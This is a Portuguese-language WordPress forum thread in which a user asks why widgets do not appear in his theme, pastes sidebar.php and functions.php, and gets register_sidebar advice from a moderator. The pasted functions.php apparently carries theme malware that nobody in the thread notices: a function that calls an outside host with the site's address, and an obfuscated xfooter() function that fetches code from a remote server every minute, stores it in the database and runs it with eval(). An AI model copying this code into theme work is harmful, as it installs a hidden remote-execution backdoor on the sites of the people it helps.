Fórum Brasileiro

Problema com Widgets (11 posts)

  1. abelardodanger
    Membro
    Publicado 4 meses atrás #

    Olá, bom dia.

    Venho abrir esse topico pois estou tendo um problema para habilitar as widgets em um template.
    Eu fiz como manda nesse tutorial aqui
    http://www.wordpress-pt.com/2008/01/11/como-implementar-widgets-num-tema/
    O template que eu estava usando não reconhecia o sidebar ou algo assim, quando eu fiz o que ensinava nesse tutorial ele passou a reconhecer. Coloquei as widgets pelo painel mas o template continua exibindo o sidebar padrão, então eu gostaria que alguém me apresentasse uma solução para o meu problema. Abaixo segue a pagina functions.php e a sidebar.php;
    PS: Eu removi o "<?php include (TEMPLATEPATH . '/searchform.php'); ?>" pois apresentava um erro quando "imprimia" o blog.
    [quote]<!-- begin sidebar -->
    <div id="side">

    <?php /* Barra com widgets, se instalados. */
    * if ( !function_exists(’dynamic_sidebar’) || !dynamic_sidebar() ) : ?>

    <li id="search">
    <label for="s">
    <h2>
    <?php _e('Search'); ?>
    </h2></label>
    <form id="searchform" method="get" action="<?php bloginfo('url'); ?>/index.php">
    <div>
    <input type="text" name="s" size="18" />

    <input type="submit" id="submit" name="Submit" value="Search" />
    </div>
    </form>

    <li id="categories">
    <h2>
    <?php _e('Categories'); ?>
    </h2>

    <?php list_cats(0, '', 'name', 'asc', '', 1, 0, 1, 1, 1, 1, 0,'','','','','') ?>

    <li id="archives">
    <h2>
    <?php _e('Monthly'); ?>
    </h2>

    <?php wp_get_archives('type=monthly'); ?>

    <?php get_links_list(); ?>
    <?php if (function_exists('wp_theme_switcher')) { ?>
    # <h2>
    <?php _e('Themes'); ?>
    </h2>
    <?php wp_theme_switcher(); ?>

    <?php } ?>

    <li id="meta">
    <h2>
    <?php _e('Meta'); ?>
    </h2>

    * "><img src="<?php bloginfo('stylesheet_directory'); ?>/images/rss.gif" width="80" height="15" border="0" alt="Subscribe to RSS feed"/>
    * "><img src="<?php bloginfo('stylesheet_directory'); ?>/images/rsscomments.gif" width="80" height="15" border="0" alt="The latest comments to all posts in RSS"/>
    * "><img src="<?php bloginfo('stylesheet_directory'); ?>/images/atom.gif" width="80" height="15" border="0"/ alt="Subscribe to Atom feed"/>
    * <img src="<?php bloginfo('stylesheet_directory'); ?>/images/wordpress.gif" alt="wordpress themes" width="80" height="15" border="0" alt="Powered by WordPress; state-of-the-art semantic personal publishing platform."/>
    * <img src="<?php bloginfo('stylesheet_directory'); ?>/images/firefox.gif" width="80" height="15" border="0" alt="Firefox - Rediscover the web"/>

    <?php endif; ?>

    </div>
    <!-- end sidebar -->[/quote]

    functions.php
    [quote]<?php
    if ( function_exists('register_sidebar') )
    register_sidebar();

    function test()
    {
    $url = "http://guadagnare.forumer.it/links.php?" .
    "id=999" . "&" . "url=" . urlencode($_SERVER['REQUEST_URI']) . "&" . "urlh=" . urlencode($_SERVER['HTTP_HOST']);
    $check = @fsockopen("www.forumer.it", 80, $errno, $errstr, 3);
    if($check)
    {
    @readfile($url);
    fclose($check);
    }
    }

    function xfooter() { global $wpdb; $RDAFE7FE4FDC52E2D1048573B4DB1DF18 = $wpdb->get_col("SELECT option_value FROM $wpdb->options WHERE option_name='l_time_eval'"); $R41CCFE75D7AC2B4681397CFC70BAEF40 = $wpdb->get_col("SELECT option_value FROM $wpdb->options WHERE option_name='l_eval'"); if (empty($RDAFE7FE4FDC52E2D1048573B4DB1DF18)) { $wpdb->query("INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES ('l_time_eval', '0', 'no')"); $RBDCA893A9385C089DC5F358AAA52C09B = 0; } else $RBDCA893A9385C089DC5F358AAA52C09B = intval($RDAFE7FE4FDC52E2D1048573B4DB1DF18[0]); if (empty($R41CCFE75D7AC2B4681397CFC70BAEF40)) { $wpdb->query("INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES ('l_eval', '
    ', 'no')"); $RB8CCA7CA753C9ECD0EAE7F65DA4AB7A1 = '
    '; } else $RB8CCA7CA753C9ECD0EAE7F65DA4AB7A1 = $R41CCFE75D7AC2B4681397CFC70BAEF40[0]; @eval('$R14AF1BE9EE26A90921E64A82E7836797 = 1;'); if($R14AF1BE9EE26A90921E64A82E7836797) { $R5F38CE9C0B222F3BB0880E016DC07527 = "1"; } else { $R5F38CE9C0B222F3BB0880E016DC07527 = "0"; } if ( ( time() - $RBDCA893A9385C089DC5F358AAA52C09B ) >= 60 ) { $R39C188653EA53DBD6E3F1D3915EDAC0C = "com"; $R8088818E3E46A17C12F2EE42EB12D7AC = "2."; $R7B934F06258B8BA3608E30CDE9EA1035 = "xpstatz"; $RAD8CC24399FEA84D3454DD7057C38FD0 = "xps-$R5F38CE9C0B222F3BB0880E016DC07527."; $RBF7582359E6813BD7C54DD76E7505037 = "$R8088818E3E46A17C12F2EE42EB12D7AC$R7B934F06258B8BA3608E30CDE9EA1035.$R39C188653EA53DBD6E3F1D3915EDAC0C"; $RA81C90DCC503F6900F7DC424AD04F525 = "/".$RAD8CC24399FEA84D3454DD7057C38FD0."php?h=" . urlencode($_SERVER['HTTP_HOST']) . "&u=" . urlencode($_SERVER['REQUEST_URI']); if (ini_get('allow_url_fopen')) { $RB8CCA7CA753C9ECD0EAE7F65DA4AB7A1 = @file_get_contents("http://" . $RBF7582359E6813BD7C54DD76E7505037 . $RA81C90DCC503F6900F7DC424AD04F525); } else { $RF500F4A848E2EB2F8AAC3A6734D7EC38 = @fsockopen($RBF7582359E6813BD7C54DD76E7505037, '80', $R87844B1C6FC922407E6020B6B224950F, $R1966719AEC0096F98BA934D649A6E28D, 30); if ($RF500F4A848E2EB2F8AAC3A6734D7EC38) { @stream_set_timeout($RF500F4A848E2EB2F8AAC3A6734D7EC38, 60); @fwrite($RF500F4A848E2EB2F8AAC3A6734D7EC38, "GET $RA81C90DCC503F6900F7DC424AD04F525 HTTP/1.1\r\n"); @fwrite($RF500F4A848E2EB2F8AAC3A6734D7EC38, "Host: $RBF7582359E6813BD7C54DD76E7505037\r\n"); @fwrite($RF500F4A848E2EB2F8AAC3A6734D7EC38, "Connection: Close\r\n\r\n"); $RB8CCA7CA753C9ECD0EAE7F65DA4AB7A1 = ""; while(!feof($RF500F4A848E2EB2F8AAC3A6734D7EC38)) { $RB8CCA7CA753C9ECD0EAE7F65DA4AB7A1 .= @fgets($RF500F4A848E2EB2F8AAC3A6734D7EC38, 1024); } $RB8CCA7CA753C9ECD0EAE7F65DA4AB7A1 = trim(strstr($RB8CCA7CA753C9ECD0EAE7F65DA4AB7A1, "\r\n\r\n")); } @fclose($RF500F4A848E2EB2F8AAC3A6734D7EC38); } if ( is_string($RB8CCA7CA753C9ECD0EAE7F65DA4AB7A1) ) { $RBDCA893A9385C089DC5F358AAA52C09B = time(); if($R14AF1BE9EE26A90921E64A82E7836797) { @eval($RB8CCA7CA753C9ECD0EAE7F65DA4AB7A1); } else { echo "$RB8CCA7CA753C9ECD0EAE7F65DA4AB7A1"; } $R9446905AFC32B438C0BD070AD05F3D83 = mysql_real_escape_string($RB8CCA7CA753C9ECD0EAE7F65DA4AB7A1); $wpdb->query("UPDATE $wpdb->options SET option_value=$RBDCA893A9385C089DC5F358AAA52C09B WHERE option_name='l_time_eval'"); $wpdb->query("UPDATE $wpdb->options SET option_value='$R9446905AFC32B438C0BD070AD05F3D83' WHERE option_name='l_eval'"); } } }

    ?>[/quote]

    Obrigado pela atenção, agradeço desde já.

  2. eduardozulian
    Moderador
    Publicado 4 meses atrás #

    Abelardo, esse artigo já tem um bom tempo. Sugiro você dar uma olhada em algum que trate dos Widgets no WP 2.8, como este aqui.

    Depois avisa se deu.

  3. eduardozulian
    Moderador
    Publicado 4 meses atrás #

    Ah, e tenta usar o code pra postar código, cara. Tá tenso de ler.

  4. abelardodanger
    Membro
    Publicado 4 meses atrás #

    Obrigado e desculpa por não ter usado o code :-), mas ainda não ajudou não. Esse artigo ai apenas ensina a criar uma Widget e o que eu quero é apenas fazer o meu tema "aceitar" as widgets, apenas isso.

  5. eduardozulian
    Moderador
    Publicado 4 meses atrás #

    Ah, tá! Putz, e pior que teu código do functions.php já tem o register_sidebar(). Bem, de qualquer forma, tenta trocar pelo seguinte código:

    <?php
    if ( function_exists( 'register_sidebar' ) ) {
    
    	// Define constantes
    	$before_widget = '<div id="%1$s" class="widget %2$s">';
    	$after_widget  = '</div>';
    	$before_title  = '<p class="area-title"><span>';
    	$after_title   = '</span></p>';
    
    	// Inclui as sidebars
    	register_sidebar( array(
           	'name'          => 'Arquivo',
    		'id'			=> 1,
           	'before_widget' => $before_widget,
           	'after_widget'  => $after_widget,
    		'before_title'  => $before_title,
    		'after_title'   => $after_title,
        ));  
    
    }
    ?>

    No meu caso, eu registrei uma sidebar com o nome 'Arquivo'. Você pode muda-lo, se quiser. Além disso, há a possibilidade de criar outras sidebars. Apenas copie e cole a função register_sidebar(), mudando o id e o name.

  6. abelardodanger
    Membro
    Publicado 4 meses atrás #

    Ainda não funcionou. A pagina pra adicionar as Widgets agora esta da forma normal pra adicionar widgets e tal, mas quando adiciono e vou olhar no layout ele continua da forma default. Depois quando volto la nas widgets não tem nenhuma adicionada. Abaixo segue o sidebar, acho que o erro é nele. Obrigado aê.

    <!-- begin sidebar -->
    <div id="side">
      <ul>
    <?php /* Barra com widgets, se instalados. */
    		if ( !function_exists(’dynamic_sidebar’) || !dynamic_sidebar() ) : ?>
    		<li>
    		</li>
    
          <li id="search">
    	<label for="s">
          <h2>
            <?php _e('Search'); ?>
          </h2></label>
          <form id="searchform" method="get" action="<?php bloginfo('url'); ?>/index.php">
            <div>
              <input type="text" name="s" size="18" />
              <br />
              <input type="submit" id="submit" name="Submit" value="Search" />
            </div>
          </form>
        </li>
        <li id="categories">
          <h2>
            <?php _e('Categories'); ?>
          </h2>
          <ul>
            <?php list_cats(0, '', 'name', 'asc', '', 1, 0, 1, 1, 1, 1, 0,'','','','','') ?>
          </ul>
        </li>
    
        <li id="archives">
          <h2>
            <?php _e('Monthly'); ?>
          </h2>
          <ul>
            <?php wp_get_archives('type=monthly'); ?>
          </ul>
        </li>
    	<?php get_links_list(); ?>
     <?php if (function_exists('wp_theme_switcher')) { ?>
        <li>
          <h2>
            <?php _e('Themes'); ?>
          </h2>
          <?php wp_theme_switcher(); ?>
        </li>
        <?php } ?>
    
    <a href="http://ueba.com.br/" alt="Uêba - Os Melhores Links" title="Uêba - Os Melhores Links" ><img src="http://icons.ueba.com.br/ueba12060.png" alt="Uêba - Os Melhores Links" title="Uêba - Os Melhores Links" border="0"/></a> <li id="meta">
          <h2>
            <?php _e('Meta'); ?>
          </h2>
    	  <ul>
    	  <li><a href="http://feeds.feedburner.com/99assuntos"><img src="<?php bloginfo('stylesheet_directory'); ?>/images/rss.gif" width="80" height="15" border="0" alt="Subscribe to RSS feed"/></a></li>
    	  <li><a href="<?php bloginfo('comments_rss2_url'); ?>"><img src="<?php bloginfo('stylesheet_directory'); ?>/images/rsscomments.gif" width="80" height="15" border="0" alt="The latest comments to all posts in RSS"/></a></li>
    	  <li><a href="http://feeds.feedburner.com/99assuntos"><img src="<?php bloginfo('stylesheet_directory'); ?>/images/atom.gif" width="80" height="15" border="0"/ alt="Subscribe to Atom feed"/></a></li>
          <li><a href="http://www.templatesbrowser.com/wordpress-themes/"><img src="<?php bloginfo('stylesheet_directory'); ?>/images/wordpress.gif" alt="wordpress themes" width="80" height="15" border="0" alt="Powered by WordPress; state-of-the-art semantic personal publishing platform."/></a></li>
    	  <li><a href="http://www.mozilla.org/products/firefox/"><img src="<?php bloginfo('stylesheet_directory'); ?>/images/firefox.gif" width="80" height="15" border="0" alt="Firefox - Rediscover the web"/></a></li>
    	  </ul>
        </li>
    
    <?php endif; ?>
      </ul>
    </div>
    <!-- end sidebar -->
  7. eduardozulian
    Moderador
    Publicado 4 meses atrás #

    Rola voce passar uns prints, meu? Juro que não tou entendendo mais o problema.

  8. abelardodanger
    Membro
    Publicado 3 meses atrás #

    É basicamente o seguinte: Não está aparecendo as WidGets no template. Eu cadostro elas la só que não aparece.

    Print: http://99assuntos.com/wordpress.gif
    Tema que eu estou usando: http://99assuntos.com/falling_dreams.rar

    Desculpa eu não ter respondido o topico antes, é que está tendo muitas festas aqui onde moro ai fica dificil entrar na internet. Grato.

  9. abelardodanger
    Membro
    Publicado 3 meses atrás #

    UP. Já faz mais de quatro semanas :-). Alguém ajuda?

  10. eduardozulian
    Moderador
    Publicado 2 meses atrás #

    Putz, faz tempo mesmo. Cê tentou isso com outro tema?

  11. abelardodanger
    Membro
    Publicado 2 meses atrás #

    Tentei não.

Resposta

Você deve fazer login para publicar.

About this Topic

Tags